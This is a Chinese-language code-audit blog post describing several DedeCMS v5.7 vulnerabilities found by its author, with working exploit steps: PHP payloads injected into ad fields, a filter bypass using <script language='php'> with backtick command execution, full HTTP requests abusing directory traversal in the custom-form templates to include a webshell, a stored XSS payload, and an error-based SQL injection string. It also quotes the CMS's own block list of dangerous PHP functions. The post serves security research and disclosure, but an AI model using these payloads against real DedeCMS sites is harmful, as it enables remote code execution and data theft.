【php代码审计】记一次DedeCMSv5.7.102 0day挖掘

DedeCMS任意文件包含漏洞

漏洞环境

DedeCMS v5.7 SP2

image-20221112160815853

DedeCMS v5.7 SP2下漏洞复现

首先进入DedeCMS后台

image-20221112160917270

添加一个广告,并保存

1
<?php system(whoami);?>
image-20221112161017163

执行

image-20221112161236815

这里编号是3

然后访问

1
view-source:http://127.0.0.1:803/plus/ad_js.php?aid=3
image-20221112161338617

执行成功

漏洞分析

在 ad_js.php下

image-20221112161446073

这里首先会判断 网站根目录下 的 data/cache/myad-xx.htm 是否存在,如果不存在,直接去去数据库中查询,该广告的内容,并写入到该文件中,这里的aid,就是广告的id。如果存在,则直接包含。即便是htm文件,里面存在php代码也会当作php代码执行。

接下来,看看那个地方在表#@__myad中插入字段 normbody,只要这个字段可控,意味着就能写入php代码,然后包含出来执行。

image-20221112162017271

在 ad_add.php 文件中

image-20221112162325166

当我们添加一个广告的时候

image-20221112161017163

抓包

image-20221112162227619

可以控制 normbody[link] $normbody['size'] 等这些参数,所以我们直接写入我们要执行的php代码。然后得到一个广告id。

然后去访问,第一次会先将从数据库中查询出来的数据写入文件,这里面的数据也包含php代码,第二访问,就会去包含这个文件,然后也就执行了php代码。

DedeCMS V5.7.102下漏洞复现

在之前分析那个版本中,我们在dede/ad_add.php通过控制 insert into语句在数据库 dede_myadnormbody字段中插入了我们的php恶意代码,然后再通过plus/ad_js.php中的查询语句通过aid也就是广告的编号,去查询dede_myad字段normbody的内容,并写入到DEDEDATA.'/cache/myad-'.$aid.'.htm' 文件中,$aid,也就是广告的编号。如果该文件已经存在,那么就会直接包含这个文件的内容,第二次访问也就会执行到php代码。

但是如果我们在v5.7.102这个版本再次通过这种方式去进行利用会发生什么?

image-20221116104544579
image-20221116104606569

直接将我们的恶意代码拦截中断脚本运行了,我们看一看他的过滤规则。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([]#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
if(!empty($value) && preg_match("#<\?(php|=)#i", " {$adbody}") == TRUE) {
$adbody = dede_htmlspecialchars($adbody);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$adbody}</pre>");
}
}

$adbody = str_replace('"', '\"',$adbody);
$adbody = str_replace("\r", "\\r",$adbody);
$adbody = str_replace("\n", "\\n",$adbody);
$adbody = "<!--\r\ndocument.write(\"{$adbody}\");\r\n-->\r\n";
$fp = fopen($cacheFile, 'w');
fwrite($fp, $adbody);
fclose($fp);

这里的第一个正则,过滤了很多危险函数,但是还远远不够。比如过滤了include,却没过滤require,过滤了需要执行命令的函数,却没过滤`命令` 的方式来执行命令。

第二个正则则是匹配php常用的php代码开头标签,常用的有

1
2
3
4
5
6
7
8
9
10
<?php
....
?>
<?=....?> // 相当于<?php echo xxx?>
<?
... // 条件 需要在php.ini文件开启短风格,short_open_tag=On
?>
<%
.... // 在php.ini打开搜索asp_tags (On, Off),选择On开始asp风格
%>

上面的正则 只过滤了两种,开启段标签需要特定条件,重新找到一种新的方式来绕过正则执行php代码。

1
2
3
<script language="php">
......
</script>

这里我们组合成一个真正可用的payload

1
<script language='php'>`calc.exe`</script>
image-20221116111841806
image-20221116111902164
image-20221116111938667

可以看到 一下子弹出来三个计算器。因为在多个字段中插入了我们的恶意代码,有三个字段写入到DEDEDATA.'/cache/myad-15.htm'文件中,执行了三次,所以也就弹出来三个。

DedeCMS任意文件包含漏洞2

漏洞环境

DedeCMS v5.7 SP2 (DedeCMS V5.7.102也有)

DedeCMS v5.7 SP2下漏洞复现

首先 准备一个文本

1.txt

1
<?php eval(phpinfo());?>

然后再后台上传这个文本文件

image-20221112205413280
image-20221112205536310

接下来,添加一个自定义表单

image-20221112205650432

确定

image-20221112205740633

然后抓包

image-20221112210938214
1
diyid=2&name=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%9512&table=dede_co_onepage&listtemplate=list_diyform1.htm&viewtemplate=../1.txt&posttemplate=post_diyform1.htm&public=2&button=%E7%A1%AE%E5%AE%9A

然后访问

image-20221112211009409
1
http://127.0.0.1:803/plus/diy.php?action=view&diyid=2&id=5
image-20221112211025082

成功执行了,刚刚写入文本里面的php代码。

DedeCMS V5.7.102下漏洞复现

如果按照上一个版本的方式进行复现,会怎么样?

准备一个webshell

1
<?php phpinfo();?>

上传

image-20221113104309561

这里直接拦截了,而我们的目的也很简单,只需要将我们的webshell代码嵌入到任意文件中,通过文件包含就能执行。

那么在那里能嵌入这个webshell呢?试了几个地方的上传,都会对php危险函数进行过滤。

1
2
3
4
5
6
7
8
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([]#i", " {$content}") == TRUE) {
$content = dede_htmlspecialchars($content);
die("DedeCMS提示:当前上传的文件中存在恶意代码!<pre>{$content}</pre>");
}

感觉什么都过滤完了,([都过滤了,感觉绕过有点困难。

换了一条路,在模板管理这个地方。

image-20221113105718737

嵌入我们执行的php代码,这个文件的路径在templets/default/advancedsearch.htm下,而包含的路径是在templets/plus下,所以只需要../default/advancedsearch.htm 回退一个就能包含到这个模板文件。

接下来 构造请求

image-20221113110315328
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /dede/diy_add.php?action=add HTTP/1.1
Host: 127.0.0.1:804
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 224
Origin: http://127.0.0.1:804
Connection: close
Referer: http://127.0.0.1:804/dede/diy_add.php
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C4_1%2C5_1; Hm_lvt_1040d081eea13b44d84a4af639640d51=1667789016; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="; __bid_n=1844ff8cc203f37ffd4207; FPTOKEN=30$pnERmduVdgQ/ieHEmThRjAWAXBgYCPbG/FVVDbGVj8Qd0HBJJbuCruIZw32soP9/7B63RhbgLO250ygqxD7qkeDbRKtTUzNMuLodB0ZsJfR8SxhdllEjnjrFPVEoQpaQELwja4iz4l3feby5q4eMQWBYDp4bNIB2Q8MjE2umaElu6Sav5jVRFjbLtDojj5spFgS8jRYIVMstiawSmfkSlw4DA17UlHZo+lQ0Qb+NFehYM/Bfc96vX34Op6XYtWXHmEpxncfPOT5CLPeTX5Vij3D279mUc9ODr2DbBs2fCPzr85vPH2VXCeecHXxZHw1Co2+SHYuFP7wgWRXZp0sCv8T+LJ3rVLMlTZWI1qSFKe9ULTNEabZfIBwZ4xdlz3AOeI0kpLaKdQ2Q1wLv4g9RFgINYT8yq+kC32TIdqY6vYg=|aVBUo0kZ+SnBTYg6njVdG2ozq8EJcqU25JprY2S8nbQ=|10|ea81e3c8438111be80127d8508966e31; DedeUserID=1; DedeUserID__ckMd5=745c389b77f7c415; DedeLoginTime=1668305969; DedeLoginTime__ckMd5=a338026a5d13eaa2; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=2d45d6e33c97510f; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=1a4a5686a1d0663c; PHPSESSID=murkdk5juqrvq6fhaosjhupedi; security=impossible; _csrf_name_e542ade1=ee2724a98a4b5bae60a93c6bbad7cba1; _csrf_name_e542ade11BH21ANI1AGD297L1FF21LN02BGE1DNG=0523c8c7727b9b70; ENV_GOBACK_URL=%2Fdede%2Fdiy_main.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 192.168.0.1

diyid=20&name=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%9520&table=dede_channeltype&listtemplate=list_diyform3.htm&viewtemplate=../default/advancedsearch.htm&posttemplate=view_diyform3.htm&public=2&button=%E7%A1%AE%E5%AE%9A

然后回到自定义表单

image-20221113110358792
image-20221113110416757

漏洞分析

两个版本的触发原理都是一致,只是包含的文件不一样。

触发文件包含的点在在 plus/diy.php 164行

image-20221112211327631

这里文件包含的文件路径中拼接了一个变量,$div->viewTemplate 为div对象中的一个属性。

在 25行

image-20221112211623041

跟进diyform类,看看是怎么为$div->viewTemplate赋值的。

image-20221112211710555

在构造函数中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function __construct($diyid){
$this->diyid = $diyid;
$this->db = $GLOBALS['dsql'];
$query = "SELECT * FROM #@__diyforms WHERE diyid='{$diyid}'";
$diyinfo = $this->db->GetOne($query);
if(!is_array($diyinfo))
{
showMsg('参数不正确,该自定义表单不存在','javascript:;');
exit();
}
$this->info = $diyinfo['info'];
$this->name = $diyinfo['name'];
$this->table = $diyinfo['table'];
$this->public = $diyinfo['public'];
$this->listTemplate = $diyinfo['listtemplate'] != '' && file_exists(DEDETEMPLATE.'/plus/'.$diyinfo['listtemplate']) ? $diyinfo['listtemplate'] : 'list_diyform.htm';
$this->viewTemplate = $diyinfo['viewtemplate'] != '' && file_exists(DEDETEMPLATE.'/plus/'.$diyinfo['viewtemplate']) ? $diyinfo['viewtemplate'] : 'view_diyform.htm';;
$this->postTemplate = $diyinfo['posttemplate'] != '' && file_exists(DEDETEMPLATE.'/plus/'.$diyinfo['posttemplate']) ? $diyinfo['posttemplate'] : 'post_diyform.htm';;
}

从上面的代码中,可以知道,通过$diyid#@__diyforms表中查的数据赋值给了$this->listTemplate$this->viewTemplate$this->postTemplate等变量。

假设,我们能控制#@__diyforms表中的viewtemplate字段,那么不就可以通过目录穿越的方式去包含任意文件了。

接下来,看看有没有那个文件中给#@__diyformsviewtemplate插入值。

全局搜索表名#@_diyforms,在 div_add.php

image-20221112212319171
image-20221112212433225

65行

1
2
$query = "INSERT INTO #@__diyforms (`diyid`, `name`, `table`, `info`, `listtemplate`, `viewtemplate`, `posttemplate`, `public` ) VALUES ('$diyid', '$name', '$table', '', '$listtemplate', '$viewtemplate', '$posttemplate', '$public')";
$dsql->ExecuteNoneQuery($query);

通过这里的sql,我们就能给表 #@__diyforms 中的 viewtemplate插入我们想传入的数据。

diy_add.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
require_once(dirname(__FILE__)."/config.php");
CheckPurview('c_New');
$mysql_version = $dsql->GetVersion();
$mysql_versions = explode(".",trim($mysql_version));
$mysql_version = $mysql_versions[0].".".$mysql_versions[1];
if(empty($action))
{
$row = $dsql->GetOne("SELECT diyid FROM #@__diyforms ORDER BY diyid DESC LIMIT 0,1 ");
if(is_array($row)) $newdiyid = $row['diyid']+1;
else $newdiyid = 1;
include(DEDEADMIN."/templets/diy_add.htm");
}
else
{
if(preg_match("#[^0-9-]#", $diyid) || empty($diyid))
{
ShowMsg("<font color=red>'自定义表单diyid'</font>必须为数字!","-1");
exit();
}
if($table=="")
{
ShowMsg("表名不能为空!", "-1");
exit();
}
$public = isset($public) && is_numeric($public) ? $public : 0;
$name = dede_htmlspecialchars($name);
$row = $dsql->GetOne("SELECT * FROM #@__diyforms WHERE diyid='$diyid' OR `table` LIKE '$table' OR name LIKE '$name' ");
if(is_array($row))
{
ShowMsg("可能自定义表单的‘diyid’、‘名称’在数据库中已存在,不能重复使用!","-1");
exit();
}
$query = "SHOW TABLES FROM {$dsql->dbName} ";
$dsql->SetQuery($query);
$dsql->Execute();
while($row = $dsql->getarray())
{
if(empty($row[0])) $row[0] = '';
if($table == $row[0])
{
showmsg('指定的表在数据库中重复', '-1');
exit();
}
}
$sql = "CREATE TABLE IF NOT EXISTS `$table`(
`id` int(10) unsigned NOT NULL auto_increment,
`ifcheck` tinyint(1) NOT NULL default '0',
";
if($mysql_version < 4.1)
{
$sql .= " PRIMARY KEY (`id`)\r\n) TYPE=MyISAM; ";
}
else
{
$sql .= " PRIMARY KEY (`id`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=".$cfg_db_language."; ";
}
if($dsql->ExecuteNoneQuery($sql))
{
$query = "INSERT INTO #@__diyforms (`diyid`, `name`, `table`, `info`, `listtemplate`, `viewtemplate`, `posttemplate`, `public` ) VALUES ('$diyid', '$name', '$table', '', '$listtemplate', '$viewtemplate', '$posttemplate', '$public')";
$dsql->ExecuteNoneQuery($query);
showmsg('自定义表单创建成功,请自行添加字段', 'diy_main.php');
}
else
{
showmsg('自定义表单创建失败', '-1');
}
}

因为是使用全局变量注册的方式,$viewtemplate可以直接从GET/POST中接收到,但是执行到插入表 #@__diyforms的sql,还需要满足几个条件,第一个传入的diyid不能重复,第二个是 指定的table数据表名,不能跟之前插入的重复,也就是这个指定table的值要唯一。

满足如上两个条件,就能可以控制 插入的$viewtemplate变量,通过之前的分析,这个变量控制了 include 包含的文件名。

那是不是我们此时,将php代码嵌入到图片或者文本中,找一个可以上传文本或者图片的地方,上传然后目录穿越包含到这个文件,就可以getshell了呢。

答案是,还不行。

在 diy.php 文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if(empty($diyid))
{
showMsg('非法操作!', 'javascript:;');
exit();
}

require_once DEDEINC.'/diyform.cls.php';
$diy = new diyform($diyid);
# 省略了无关紧要的代码
else if($action == 'view')
{
if(empty($diy->public))
{
showMsg('后台关闭前台浏览' , 'javascript:;');
exit();
}

if(empty($id))
{
showMsg('非法操作!未指定id', 'javascript:;');
exit();
}
if($diy->public == 2)
{
$query = "SELECT * FROM {$diy->table} WHERE id='$id' ";
}
else
{
$query = "SELECT * FROM {$diy->table} WHERE id='$id' AND ifcheck=1";
}
$row = $dsql->GetOne($query);

if(!is_array($row))
{
showmsg('你访问的记录不存在或未经审核', '-1');
exit();
}

$fieldlist = $diy->getFieldList();
echo "viewTemplate=".$diy->viewTemplate;
include DEDEROOT."/templets/plus/{$diy->viewTemplate}";
}

这里也有一个条件需要满足 if(!is_array($row)),判断$row是否为数组,如果要让 $row为数组,那么$query的sql语句就需要查出来值,这里的表名是需要指定的, 并且还要求这个表里存在idifcheck=1这个字段。所以得到一个结论,表名可以控制,并且这个表中存在idifcheck两个字段,或者$diy->public==2$diy->table表里存在id字段,并且有值。

找了半天也没发现那张表存在 ifcheck这个字段,那就只有让$diy->public==2$diy->table存在id字段。

dede_co_onepage表中

image-20221112221223889

在 diy_add.php 中

1
2
$query = "INSERT INTO #@__diyforms (`diyid`, `name`, `table`, `info`, `listtemplate`, `viewtemplate`, `posttemplate`, `public` ) VALUES ('$diyid', '$name', '$table', '', '$listtemplate', '$viewtemplate', '$posttemplate', '$public')";
$dsql->ExecuteNoneQuery($query);

这两个变量都是可控的,所以我们只需要让$table 指定为 dede_co_onepage$public 为 2, $viewtemplate 为带有webshell的文本或者图片的相对路径,就能getshell了。

image-20221112210938214

最后给出payload

1
diyid=2&name=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%9512&table=dede_co_onepage&listtemplate=list_diyform1.htm&viewtemplate=../1.txt&posttemplate=post_diyform1.htm&public=2&button=%E7%A1%AE%E5%AE%9A

不管在哪儿上传都可以,但是构造相对路径的时候要改变。 这里是上传在网站根目录templets下,默认包含的路径是在templets/plus下,所以只需要 ../回退一个目录就可以包含到了。

DedeCMS任意包含漏洞3

1
这个漏洞利用流程跟上一个漏洞相似,只是文件包含触发的点不同。

漏洞环境

DedeCMS V5.7.102

漏洞复现

image-20221113200654443

保存,然后点进自定义表单管理

<br />
image-20221113200846018

然后抓包,修改参数并提交,这里利用的是posttemplate这个参数

image-20221113201653939
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /dede/diy_add.php?action=add HTTP/1.1
Host: 127.0.0.1:804
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 229
Origin: http://127.0.0.1:804
Connection: close
Referer: http://127.0.0.1:804/dede/diy_add.php
Cookie: menuitems=1_1%2C2_1%2C3_1%2C6_1%2C4_1%2C5_1; Hm_lvt_1040d081eea13b44d84a4af639640d51=1667789016; session_user="wgPmpe3hEuJWIL+I+kHtxqag1wutWsMhm6eaAgoJH0c="; __bid_n=1844ff8cc203f37ffd4207; FPTOKEN=30$pnERmduVdgQ/ieHEmThRjAWAXBgYCPbG/FVVDbGVj8Qd0HBJJbuCruIZw32soP9/7B63RhbgLO250ygqxD7qkeDbRKtTUzNMuLodB0ZsJfR8SxhdllEjnjrFPVEoQpaQELwja4iz4l3feby5q4eMQWBYDp4bNIB2Q8MjE2umaElu6Sav5jVRFjbLtDojj5spFgS8jRYIVMstiawSmfkSlw4DA17UlHZo+lQ0Qb+NFehYM/Bfc96vX34Op6XYtWXHmEpxncfPOT5CLPeTX5Vij3D279mUc9ODr2DbBs2fCPzr85vPH2VXCeecHXxZHw1Co2+SHYuFP7wgWRXZp0sCv8T+LJ3rVLMlTZWI1qSFKe9ULTNEabZfIBwZ4xdlz3AOeI0kpLaKdQ2Q1wLv4g9RFgINYT8yq+kC32TIdqY6vYg=|aVBUo0kZ+SnBTYg6njVdG2ozq8EJcqU25JprY2S8nbQ=|10|ea81e3c8438111be80127d8508966e31; DedeUserID__ckMd5=745c389b77f7c415; DedeLoginTime__ckMd5=a338026a5d13eaa2; PHPSESSID=murkdk5juqrvq6fhaosjhupedi; security=impossible; OrdersId=766dA1IFUQBVVQYGBAJaDwAFWwIGVlBUBFYCVl9lTGdXAVALUQRYCFNdZHgCWQw; lastCid=2; lastCid1BH21ANI1AGD297L1FF21LN02BGE1DNG=e18f3e7ad95cdb34; lastCidMenu=1; lastCidMenu1BH21ANI1AGD297L1FF21LN02BGE1DNG=1a637cf57856966e; _csrf_name_e542ade1=e9e17bc97df8185bece1aacc157008e1; _csrf_name_e542ade11BH21ANI1AGD297L1FF21LN02BGE1DNG=f8a882f4ac19c727; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=2d45d6e33c97510f; DedeLoginTime=1668340941; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=fb545e93e79c348e; ENV_GOBACK_URL=%2Fdede%2Fdiy_main.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: iframe
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-Forwarded-For: 192.168.0.1

diyid=22&name=%E8%87%AA%E5%AE%9A%E4%B9%89%E8%A1%A8%E5%8D%9522&table=dede_admin&listtemplate=list_diyform21.htm&viewtemplate=view_diyform21.htm&posttemplate=../default/advancedsearch.htm&public=1&button=%E7%A1%AE%E5%AE%9A

然后访问

image-20221113201740862
image-20221113201801085
image-20221113201812394

漏洞分析

image-20221113202040034

这个文件包含的点没有那么多限制,只需要控制路由action==post$diy->postTempate即可,至于怎么控制$diy->postTempate,跟DedeCMS任意文件包含漏洞2漏洞分析中一致。

DedeCMS 存储型xss漏洞

漏洞环境

DedeCMS V5.7.102

漏洞复现

image-20221117140457914
image-20221117140515425
image-20221117140550662
image-20221117140611317
image-20221117140654472
</div><script>alert(document.cookit);</script>
image-20221117140853528
image-20221117140921433

漏洞分析

漏洞点存在 dede/article_add.php

image-20221117153049740

DedeCMS Sql报错注入漏洞

漏洞环境

DedeCMS V5.7.102

漏洞复现

image-20221117214205903
image-20221117214232695

提交,然后抓包

addtable参数替换掉

1
a` (`b` varchar(200) as (extractvalue(1,concat(0x7e,(database())))),#
image-20221117214430654

漏洞分析

漏洞点在dede/mychannel_add.php

image-20221117214642003

这里的$trueTable2是在38行被赋值,也就是表名是可以被外部控制,并且用的`反引号闭合,所以直接传入一个反引号就可以闭合,利用的方式也很关键。

1
a` (`b` varchar(200) as (extractvalue(1,concat(0x7e,(database())))),#

拼接进去最终执行的是

1
2
3
4
5
6
7
CREATE TABLE `a` (`b` varchar(200) as (extractvalue(1,concat(0x7e,(database())))),#`(
`aid` int(11) NOT NULL default '0',
`typeid` int(11) NOT NULL default '0',
`redirecturl` varchar(255) NOT NULL default '',
`templet` varchar(30) NOT NULL default '',
`userip` char(15) NOT NULL default '',
PRIMARY KEY (`aid`), KEY `typeid` (`typeid`)\r\n) ENGINE=MyISAM DEFAULT CHARSET=".$cfg_db_language.";
image-20221117214828861

而$addtable可以被外部控制。最后在102行被执行

image-20221117215019414